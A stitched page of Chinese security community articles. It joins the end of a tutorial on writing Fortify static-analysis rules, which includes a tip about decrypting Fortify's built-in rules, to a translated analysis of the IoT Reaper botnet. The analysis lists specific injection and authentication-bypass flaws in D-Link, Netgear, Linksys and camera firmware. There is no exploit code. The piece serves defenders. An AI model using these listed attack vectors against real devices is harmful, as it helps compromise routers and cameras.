state ref_dec;
state no_leak;
state checked;
state leak (error) : "ref.leak";
state double_dec (error): "ref dec 2";
var p;
start -> ref_add { $ref_get(p) }
ref_add -> ref_dec { $ref_put(p) }
ref_dec -> double_dec { $ref_put(p) }
ref_dec -> checked { #return() }
ref_add -> leak { #return() }
规则的解释如下：
1. 首先通过 `state xxx` 定义一些状态，其中 `(start)` 表示状态时初始状态，`(error)` 表示对应状态为错误状态，只要代码进入了错误状态就会在扫描结果中呈现， `var` 用于定义一个临时变量。
2. 在规则中使用 `$func_id` 来引用之前使用 `FunctionIdentifier` 匹配到的函数。
3. `start -> ref_add { $ref_get(p) }` 表示从 start 状态 进入 ref_add 状态的条件是调用了 ref_get 函数，入参为 p
4. `ref_add -> leak { #return() }` 表示从 `ref_add` 状态 进入 `leak` 状态的条件是函数直接 `return` 返回了。
5. `ref_add -> ref_dec { $ref_put(p) }` 表示代码在 `ref_add` 状态情况下对 `p` 调用了 `ref_put` 后就会进入 `ref_dec`，即对引用计数减`1`.
6. 如果在 `ref_dec` 状态从函数返回，就表示函数没有问题。
7. 如果在 `ref_dec` 状态下再次调用 `ref_put(p)` 则会进入 `double_dec`，会在扫描结果中呈现。
# 其他的tips
Fortify自带的规则是加密过的的，我们可以根据已有的一些研究对其解密，然后参考官方的规则来开发新的规则
https://www.52pojie.cn/thread-783946-1-1.html
可以查看 `fortify-sca-20.1.1.0007.jar` 里面的 `com.fortify.sca.nst.nodes`
包里面的类，这些类表示的是`fortify`语法树的各个节点，可以通过对应类的方法知道在结构化规则中可以访问的方法和函数。
# 总结
Fortify相比codeql的优势在于：
1. 商用工具，拥有许多预设规则，比较成熟。
2. 规则开发模式比较局限，但是对于某些特定场景的规则开发相对简单。
3. 适合大规模规则的扫描。
`codeql`
的语法非常灵活，可以灵活运用匹配出各种代码片段，支持对大部分语法元素应用污点分析，比如支持设置数组索引位置为`Sink`点，经过各种尝试，发现`fortify`不支持。
# 参考
<https://bbs.huaweicloud.com/blogs/104311>
<https://tech.esvali.com/mf_manuals/html/sca_ssc/>
<https://paper.seebug.org/papers/old_sebug_paper/books/Fortify/rules-schema/> | 社区文章 |
# IoT Reaper：物联网世界的新威胁
|
##### 译文声明
本文是翻译文章，文章原作者 embedi，文章来源：embedi.com/blog
原文地址：<https://embedi.com/blog/grim-iot-reaper-1-and-0-day-vulnerabilities-at-the-service-of-botnets/>
译文仅供参考，具体内容表达以及含义原文为准。
## 写在前面的话
在2017年10月19日，整个物联网世界都颤抖了，因为现在出现了一种新型的大规模僵尸网络，而研究人员将这个物联网世界的新威胁称为“Reaper”。
## IoT Reaper
研究人员表示，Reaper是非常恐怖的，甚至比之前臭名昭著的Mirai僵尸网络还要可怕。根据360
Netlab提供的数据，Reaper已经成功感染了大约三万台智能设备，而现在仍然有两百多万台设备可能会受到攻击。
可能很多人都知道，Mirai在感染目标设备时利用的是安全漏洞以及弱密码。而Reaper饥渴难耐的“大刀”则更加锋利，因为Reaper僵尸网络可以利用多款物联网设备中的数十种安全漏洞，其中受影响的产品包括D-Link、Wi-Fi
CAM、JAWS、Netgear、Linksys和AVTECH等厂商旗下的路由器和摄像头。而且随着时间的推移，这把“大刀”也变得更加锋利了：由于目标物联网设备长期不更新，该僵尸网络的规模也正在急速扩张。
Reaper所能利用的安全漏洞来源于开发人员在设备研发过程中的粗心大意，即使Reaper攻击者懒得对物联网设备以及相关漏洞进行深入研究，他们同样可以轻松利用这些漏洞。虽然Reaper的攻击链主要由一系列不重要的低危漏洞组成，但如果设计有效的话，这些漏洞将允许攻击者获取目标设备的完整访问权限。
其中，Reaper所能利用的绝大多数安全漏洞都是Web应用程序以及Web资源中常见的漏洞，而且这些类型的安全漏洞都是物联网设备安全研究专家、漏洞赏金猎人以及安全分析人员最关注的漏洞。
虽然Web资源的管理员能够轻松快速地修复漏洞并更新自己的资源，但如果场景转移到物联网设备的身上，那问题就没那么简单了。即使物联网设备的开发者发布了一个特定的安全补丁，物联网设备的用户也不会及时更新自己的设备。而调查数据显示，只有少部分用户会在更新补丁发布之后的很长一段时间里安装更新补丁。
Reaper可以利用的漏洞种类是非常广的，而且有部分漏洞早在2013年就已经被公之于众了，比如说：
* [Linksys E1500/E2500中的多个安全漏洞；](http://www.s3cur1ty.de/m1adv2013-004)
* [D-Link DIR-600和DIR-300（rev B）的多个安全漏洞；](http://www.s3cur1ty.de/m1adv2013-003)
下图显示的是恶意软件中用于检测D-link路由器（95b448bdf6b6c97a33e1d1dbe41678eb）型号的部分代码：
然后相关型号设备中的安全漏洞都已经被研究人员修复了，但是由于很多设备的固件版本并没有更新，因此Reaper目前仍然可以对这些设备进行攻击。
经过研究之后我们还发现，Reaper还可以利用无线IP摄像头（P2P）WiFi Cam中的安全漏洞（在2017年3月份被检测出的漏洞）。
根据Embedi的研究报告显示，Reaper所能利用的安全漏洞此前都已经分配了CWE编号。下图显示的是这些CWE漏洞以及存在相同类型漏洞设备之间的相关性：
根据上图中所显示的漏洞类型，很明显，这些漏洞都属于应用安全的范畴。换句话来说，要么是开发人员在设备研发过程中所采用的安全开发生命周期措施不够有效，要么就是他们压根就没有采用任何的安全检测措施，而这样就导致了现在僵尸网络如雨后春笋般涌现了出来。更加重要的是，即便是开发人员拼尽全力去编写安全可靠的代码并采取多重加密机制，现存的这些安全问题也不是那么容易能够解决的。
这些安全漏洞很少会出现在桌面端应用程序的身上，而且就算有也不会那么容易被利用，因为桌面操作系统采取了更多系统级的安全保护措施。原因是显而易见的：一般来说，物联网设备的开发人员并不会过多地去参考同行现有的经验和资源，但对于恶意软件的开发者来说，情况就恰恰相反了。比如说，Reaper僵尸网络就配备了Lua解释器，这样就可以迅速扩展Reaper恶意软件的功能了。
Reaper样本（ca92a3b74a65ce06035fcc280740daf6）中的Lua脚本代码片段（for SMPT）：
另一个例子就是Satori，Satori这个僵尸网络是基于Mirai的源代码开发出来的。而这两个僵尸网络最大的不同之处就在于，Satori使用了一种改进版的传播方法，并且还增加了针对华为HG532型号路由器的0
day漏洞利用代码。根据The Hacker
News的报道，目前大约有二十多万台设备已经被成功感染了，除此之外，漏洞利用代码以及Mirai僵尸网络的源代码都是可以直接从网络上公开获取的。
因此，如果有人想要创建一个僵尸网络的话，他只需要去网上搜索目前使用范围最广的设备，然后再寻找设备中相应漏洞的利用代码，最后再配合上开源的僵尸网络代码，他们就能够开发出一个适用于当前网络环境并且功能强大的僵尸网络了。考虑到目前绝大多数设备的应用安全性都十分脆弱，所以攻击者寻找0
day漏洞利用代码并将其整合进现有僵尸网络中难度就跟炒一碗蛋炒饭一样简单（好像也不简单）。如果开发人员无法提升物联网设备的应用安全等级，那么“数百万设备被感染”的新闻将会更加频繁地出现在媒体头条。
就此看来，未来针对物联网设备的僵尸网络开发环境可能就会是这样的了：
这里需要提醒大家一下：在早期版本的Mirai僵尸网络中，其目的是为了对商业竞争对手的服务器进行分布式拒绝服务攻击（DDoS）。因此我们可以认为，这个僵尸网络的背后很可能有一个熟练且经验丰富的开发团队。
终端用户如何保护自己的安全？
1. 购买那种能够自动更新固件的设备；
2. 定期更新自己设备的系统固件以及软件；
3. 经常关注最新出现的物联网安全威胁；
## IoT Reaper所能利用的安全漏洞
漏洞介绍图如下所示：
### D-Link 850L漏洞：
1. 通过WAN和LAN实现远程代码执行（CWE-284）；
2. 通过WAN和LAN在未经身份验证的情况下远程获取信息（CWE-200）；
3. 通过LAN以管理员权限在未经授权的情况下远程运行任意软件（CWE-284）；
### 无线IP摄像头（P2P） WIFICAM漏洞：
1. 通过Telnet访问管理员账号 （CWE-798）；
2. 获取存储在固件中的RSA证书以及私钥（CWE-321）；
3. 使用管理员权限实现远程代码执行（CWE-78）；
4. 在未经RTSP服务器验证的情况下对数据流进行监控（CWE-287）；
5. 在tcpdump工具的帮助下对流量数据继续监控（CWE-200）；
### DVR漏洞
1. 默认用户名和密码均为空 （CWE-521）；
2. 未对cookie内容进行验证，将允许攻击者绕过Web认证（CWE-565）；
3. 攻击者可以打开uboot控制台，并将设备切换到单用户模式，并在未经认证的情况下执行任意命令（CWE-284）；
4. 通过使用内置的Shell，未经认证的攻击者可以使用Telnet （CWE-553）；
### Netgear路由器漏洞
1. 在未经认证的情况下，利用命令行工具实现远程代码执行（CWE-78）；
2. Vacron监控摄像头漏洞
3. board.cgi中没有对输入命令进行过滤，将允许攻击者运行cmd并执行任意命令（CWE-78）；
4. Netgear DGN1000和DGN2200 v1路由器漏洞
5. 内置Web服务器不会对包含了«currentsetting.htm» 的URL进行验证，攻击者可以利用该漏洞绕过服务器的验证机制并在设备上使用管理员权限执行任意代码（CWE-20）；
6. Linksys E1500/E2500路由器漏洞
7. ping_size参数没有被检测，攻击者可以输入并执行任意Shell命令 （CWE-78）；
8. 攻击者可以直接修改当前账户的密码 （CWE-620）；
### D-Link DIR-600和DIR-300漏洞
1. 命令行工具既没有访问限制，也没有输入验证，这将允许攻击者输入并执行任意命令。比如说，运行telnetd （CWE-78）；
2. 攻击者可以直接修改账户密码（CWE-620）；
3. 密码直接以明文形式存储 （CWE-256）；
4. 未经授权的攻击者可直接访问设备的型号、固件版本、语言配置、MAC地址以及Linux内核 （CWE-200）；
5. 访问操作系统信息 （CWE-200）； | 社区文章 |
Subsets and Splits